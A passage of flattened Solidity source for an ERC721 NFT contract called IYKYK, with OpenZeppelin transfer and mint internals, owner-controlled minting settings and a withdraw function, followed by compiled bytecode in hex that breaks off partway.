//solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/IYKYK.sol pragma solidity >=0.7.0 <0.9.0; contract IYKYK is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost = 0.01 ether; uint256 public maxSupply = 333; uint256 public maxMintAmountPerTx = 9; uint256 public maxFreeMintPerWallet = 9; bool public paused = true; bool public revealed = true; mapping(address => uint256) public addressToFreeMinted; constructor() ERC721("IYKYK", "IYKYK") { setHiddenMetadataUri("ipfs://__CID__/hidden.json"); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) { require(!paused, "The contract is paused!"); require(msg.value >= cost * _mintAmount, "Insufficient funds!"); require(addressToFreeMinted[msg.sender] + _mintAmount <= maxFreeMintPerWallet, "caller already minted for free"); _mintLoop(msg.sender, _mintAmount); addressToFreeMinted[msg.sender] += _mintAmount; } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function withdraw() public onlyOwner { // This will transfer the remaining contract balance to the owner. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }
0x6080604052600436106102255760003560e01c806370a0823111610123578063a22cb465116100ab578063d5abeb011161006f578063d5abeb01146107e6578063e0a8085314610811578063e985e9c51461083a578063efbd73f414610877578063f2fde38b146108a057610225565b8063a22cb46514610703578063a45ba8e71461072c578063b071401b14610757578063b88d4fde14610780578063c87b56dd146107a957610225565b8063845bb3bb116100f2578063845bb3bb1461063b5780638da5cb5b1461066657806394354fd01461069157806395d89b41146106bc578063a0712d68146106e757610225565b806370a0823114610581578063715018a6146105be5780637ec4a659146105d55780637fc46189146105fe57610225565b80633ccfd60b116101b1578063518302271161017557806351830227146104985780635503a0e8146104c35780635c975abb146104ee57806362b99ad4146105195780636352211e1461054457610225565b80633ccfd60b146103c957806342842e0e146103e0578063438b63001461040957806344a0d68a146104465780634fdd43cb1461046f57610225565b806313faede6116101f857806313faede6146102f857806316ba10e01461032357806316c38b3c1461034c57806318160ddd1461037557806323b872dd146103a057610225565b806301ffc9a71461022a57806306fdde0314610267578063081812fc14610292578063095ea7b3146102cf575b600080fd5b34801561023657600080fd5b50610251600480360381019061024c9190612fa6565b6108c9565b60405161025e919061365b565b60405180910390f35b34801561027357600080fd5b5061027c6109ab565b6040516102899190613676565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b49190613049565b610a3d565b6040516102c691906135d2565b60405180910390f35b3480156102db57600080fd5b506102f660048036038101906102f19190612f39565b610ac2565b005b34801561030457600080fd5b5061030d610bda565b60405161031a9190613938565b60405180910390f35b34801561032f57600080fd5b5061034a60048036038101906103459190613000565b610be0565b005b34801561035857600080fd5b50610373600480360381019061036e9190612f79565b610c76565b005b34801561038157600080fd5b5061038a610d0f565b6040516103979190613938565b60405180910390f35b3480156103ac57600080fd5b506103c760048036038101906103c29190612e23565b610d20565b005b3480156103d557600080fd5b506103de610d80565b005b3480156103ec57600080fd5b5061040760048036038101906104029190612e23565b610e7c565b005b34801561041557600080fd5b50610430600480360381019061042b9190612db6565b610e9c565b60405161043d9190613639565b60405180910390f35b34801561045257600080fd5b5061046d60048036038101906104689190613049565b610fa7565b005b34801561047b57600080fd5b5061049660048036038101906104919190613000565b61102d565b005b3480156104a457600080fd5b506104ad6110c3565b6040516104ba919061365b565b60405180910390f35b3480156104cf57600080fd5b506104d86110d6565b6040516104e59190613676565b60405180910390f35b3480156104fa57600080fd5b50610503611164565b604051610510919061365b565b60405180910390f35b34801561052557600080fd5b5061052e611177565b60405161053b9190613676565b60405180910390f35b34801561055057600080fd5b5061056b60048036038101906105669190613049565b611205565b60405161057891906135d2565b60405180910390f35b34801561058d57600080fd5b506105a860048036038101906105a39190612db6565b6112b7565b6040516105b59190613938565b60405180910390f35b3480156105ca57600080fd5b506105d361136f565b005b3480156105e157600080fd5b506105fc60048036038101906105f79190613000565b6113f7565b005b34801561060a57600080fd5b5061062560048036038101906106209190612db6565b61148d565b6040516106329190613938565b60405180910390f35b34801561064757600080fd5b506106506114a5565b60405161065d9190613938565b60405180910390f35b34801561067257600080fd5b5061067b6114ab565b60405161068891906135d2565b60405180910390f35b34801561069d57600080fd5b506106a66114d5565b6040516106b39190613938565b60405180910390f35b3480156106c857600080fd5b506106d16114db565b6040516106de9190613676565b60405180910390f35b61070160048036038101906106fc9190613049565b61156d565b005b34801561070f57600080fd5b5061072a60048036038101906107259190612ef9565b6117ab565b005b34801561073857600080fd5b506107416117c1565b60405161074e9190613676565b60405180910390f35b34801561076357600080fd5b5061077e60048036038101906107799190613049565b61184f565b005b34801561078c57600080fd5b506107a760048036038101906107a29190612e76565b6118d5565b005b3480156107b557600080fd5b506107d060048036038101906107cb9190613049565b611937565b6040516107dd9190613676565b60405180910390f35b3480156107f257600080fd5b506107fb611a90565b6040516108089190613938565b60405180910390f35b34801561081d57600080fd5b5061083860048036038101906108339190612f79565b611a96565b005b34801561084657600080fd5b50610861600480360381019061085c9190612de3565b611b2f565b60405161086e919061365b565b60405180910390f35b34801561088357600080fd5b5061089e60048036038101906108999190613076565b611bc3565b005b3480156108ac57600080fd5b506108c760048036038101906108c29190612db6565b611cf9565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061099457507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806109a457506109a382611df1565b5b9050919050565b6060600080546109ba90613c41565b80601f01602080910402602001604051908101604052809291908181526020018280546109e690613c41565b8015610a335780601f10610a0857610100808354040283529160200191610a33565b820191906000526020600020905b815481529060010190602001808311610a1657829003601f168201915b5050505050905090565b6000610a4882611e5b565b610a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7e90613818565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610acd82611205565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3590613898565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b5d611ec7565b73ffffffffffffffffffffffffffffffffffffffff161480610b8c5750610b8b81610b86611ec7565b611b2f565b5b610bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc290613798565b60405180910390fd5b610bd58383611ecf565b505050565b600b5481565b610be8611ec7565b73ffffffffffffffffffffffffffffffffffffffff16610c066114ab565b73ffffffffffffffffffffffffffffffffffffffff1614610c5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5390613838565b60405180910390fd5b8060099080519060200190610c72929190612bca565b5050565b610c7e611ec7565b73ffffffffffffffffffffffffffffffffffffffff16610c9c6114ab565b73ffffffffffffffffffffffffffffffffffffffff1614610cf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce990613838565b60405180910390fd5b80600f60006101000a81548160ff02191690831515021790555050565b6000610d1b6007611f88565b905090565b610d31610d2b611ec7565b82611f96565b610d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d67906138f8565b60405180910390fd5b610d7b838383612074565b505050565b610d88611ec7565b73ffffffffffffffffffffffffffffffffffffffff16610da66114ab565b73ffffffffffffffffffffffffffffffffffffffff1614610dfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df390613838565b60405180910390fd5b6000610e066114ab565b73ffffffffffffffffffffffffffffffffffffffff1647604051610e29906135bd565b60006040518083038185875af1925050503d8060008114610e66576040519150601f19603f3d011682016040523d82523d6000602084013e610e6b565b606091505b5050905080610e7957600080fd5b50565b610e97838383604051806020016040528060008152506118d5565b505050565b60606000610ea9836112b7565b905060008167ffffffffffffffff811115610ec757610ec6613dda565b5b604051908082528060200260200182016040528015610ef55781602001602082028036833780820191505090505b50905060006001905060005b8381108015610f125750600c548211155b15610f9b576000610f2283611205565b90508673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f875782848381518110610f6c57610f6b613dab565b5b6020026020010181815250508180610f8390613ca4565b9250505b8280610f9290613ca4565b93505050610f01565b82945050505050919050565b610faf611ec7565b73ffffffffffffffffffffffffffffffffffffffff16610fcd6114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101a90613838565b60405180910390fd5b80600b8190555050565b611035611ec7565b73ffffffffffffffffffffffffffffffffffffffff166110536114ab565b73ffffffffffffffffffffffffffffffffffffffff16146110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a090613838565b60405180910390fd5b80600a90805190602001906110bf929190612bca565b5050565b600f60019054906101000a900460ff1681565b600980546110e390613c41565b80601f016020809104026020016040519081016040528092919081815260200182805461110f90613c41565b801561115c5780601f106111315761010080835404028352916020019161115c565b820191906000526020600020905b81548152906001019060200180831161113f57829003601f168201915b505050505081565b600f60009054906101000a900460ff1681565b6008805461118490613c41565b80601f01602080910402602001604051908101604052809291908181526020018280546111b090613c41565b80156111fd5780601f106111d2576101008083540402835291602001916111fd565b820191906000526020600020905b8154815290600101906020018083116111e057829003601f168201915b505050505081565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906137d8565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f906137b8565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611377611ec7565b73ffffffffffffffffffffffffffffffffffffffff166113956114ab565b73ffffffffffffffffffffffffffffffffffffffff16146113eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e290613838565b60405180910390fd5b6113f560006122db565b565b6113ff611ec7565b73ffffffffffffffffffffffffffffffffffffffff1661141d6114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611473576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146a90613838565b60405180910390fd5b8060089080519060200190611489929190612bca565b5050565b60106020528060005260406000206000915090505481565b600e5481565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d5481565b6060600180546114ea90613c41565b80601f016020809104026020016040519081016040528092919081815260200182805461151690613c41565b80156115635780601f1061153857610100808354040283529160200191611563565b820191906000526020600020905b81548152906001019060200180831161154657829003601f168201915b5050505050905090565b806000811180156115805750600d548111155b6115bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b690613718565b60405180910390fd5b600c54816115cd6007611f88565b6115d79190613a76565b1115611618576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160f906138d8565b60405180910390fd5b600f60009054906101000a900460ff1615611668576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165f90613858565b60405180910390fd5b81600b546116769190613afd565b3410156116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90613918565b60405180910390fd5b600e5482601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117069190613a76565b1115611747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173e906138b8565b60405180910390fd5b61175133836123a1565b81601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117a09190613a76565b925050819055505050565b6117bd6117b6611ec7565b83836123e1565b5050565b600a80546117ce90613c41565b80601f01602080910402602001604051908101604052809291908181526020018280546117fa90613c41565b80156118475780601f1061181c57610100808354040283529160200191611847565b820191906000526020600020905b81548152906001019060200180831161182a57829003601f168201915b505050505081565b611857611ec7565b73ffffffffffffffffffffffffffffffffffffffff166118756114ab565b73ffffffffffffffffffffffffffffffffffffffff16146118cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c290613838565b60405180910390fd5b80600d8190555050565b6118e66118e0611ec7565b83611f96565b611925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191c906138f8565b60405180910390fd5b6119318484848461254e565b50505050565b606061194282611e5b565b611981576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197890613878565b60405180910390fd5b60001515600f60019054906101000a900460ff1615151415611a2f57600a80546119aa90613c41565b80601f01602080910402602001604051908101604052809291908181526020018280546119d690613c41565b8015611a235780601f106119f857610100808354040283529160200191611a23565b820191906000526020600020905b815481529060010190602001808311611a0657829003601f168201915b50505050509050611a8b565b6000611a396125aa565b90506000815111611a595760405180602001604052806000815250611a87565b80611a638461263c565b6009604051602001611a779392919061358c565b6040516020818303038152906040525b9150505b919050565b600c5481565b611a9e611ec7565b73ffffffffffffffffffffffffffffffffffffffff16611abc6114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611b12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0990613838565b60405180910390fd5b80600f60016101000a81548160ff02191690831515021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b81600081118015611bd65750600d548111155b611c15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0c90613718565b60405180910390fd5b600c5481611c236007611f88565b611c2d9190613a76565b1115611c6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c65906138d8565b60405180910390fd5b611c76611ec7565b73ffffffffffffffffffffffffffffffffffffffff16611c946114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611cea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce190613838565b60405180910390fd5b611cf482846123a1565b505050565b611d01611ec7565b73ffffffffffffffffffffffffffffffffffffffff16611d1f6114ab565b73ffffffffffffffffffffffffffffffffffffffff1614611d75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6c90613838565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ddc906136b8565b60405180910390fd5b611dee816122db565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611f4283611205565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600081600001549050919050565b6000611fa182611e5b565b611fe0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd790613778565b60405180910390fd5b6000611feb83611205565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061205a57508373ffffffffffffffffffffffffffffffffffffffff1661204284610a3d565b73ffffffffffffffffffffffffffffffffffffffff16145b8061206b575061206a8185611b2f565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661209482611205565b73ffffffffffffffffffffffffffffffffffffffff16146120ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e1906136d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561215a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215190613738565b60405180910390fd5b61216583838361279d565b612170600082611ecf565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121c09190613b57565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122179190613a76565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46122d68383836127a2565b505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60005b818110156123dc576123b660076127a7565b6123c9836123c46007611f88565b6127bd565b80806123d490613ca4565b9150506123a4565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612450576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244790613758565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051612541919061365b565b60405180910390a3505050565b612559848484612074565b612565848484846127db565b6125a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259b90613698565b60405180910390fd5b50505050565b6060600880546125b990613c41565b80601f01602080910402602001604051908101604052809291908181526020018280546125e590613c41565b80156126325780601f1061260757610100808354040283529160200191612632565b820191906000526020600020905b81548152906001019060200180831161261557829003601f168201915b5050505050905090565b60606000821415612684576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612798565b600082905060005b600082146126b657808061269f90613ca4565b915050600a826126af9190613acc565b915061268c565b60008167ffffffffffffffff8111156126d2576126d1613dda565b5b6040519080825280601f01601f1916602001820160405280156127045781602001600182028036833780820191505090505b5090505b600085146127915760018261271d9190613b57565b9150600a8561272c9190613ced565b60306127389190613a76565b60f81b81838151811061274e5761274d613dab565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561278a9190613acc565b9450612708565b8093505050505b919050565b505050565b505050565b6001816000016000828254019250508190555050565b6127d7828260405180602001604052806000815250612972565b5050565b60006127fc8473ffffffffffffffffffffffffffffffffffffffff166129cd565b15612965578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612825611ec7565b8786866040518563ffffffff1660e01b815260040161284794939291906135ed565b602060405180830381600087803b15801561286157600080fd5b505af192505050801561289257506040513d601f19601f8201168201806040525081019061288f9190612fd3565b60015b612915573d80600081146128c2576040519150601f19603f3d011682016040523d82523d6000602084013e6128c7565b606091505b5060008151141561290d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161290490613698565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161491505061296a565b600190505b949350505050565b61297c83836129f0565b61298960008484846127db565b6129c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bf90613698565b60405180910390fd5b505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a57906137f8565b60405180910390fd5b612a6981611e5b565b15612aa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa0906136f8565b60405180910390fd5b612ab56000838361279d565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b059190613a76565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612bc6600083836127a2565b5050565b828054612bd690613c41565b90600052602060002090601f016020900481019282612bf85760008555612c3f565b82601f10612c1157805160ff1916838001178555612c3f565b82800160010185558215612c3f579182015b82811115612c3e578251825591602001919060010190612c23565b5b509050612c4c9190612c50565b5090565b5b80821115612c69576000816000905550600101612c51565b5090565b6000612c80612c7b84613978565b613953565b905082815260208101848484011115612c9c57612c9b613e0e565b5b612ca7848285613bff565b509392505050565b6000612cc2612cbd846139a9565b613953565b905082815260208101848484011115612cde57612cdd613e0e565b5b612ce9848285613bff565b509392505050565b600081359050612d0081614356565b92915050565b600081359050612d1581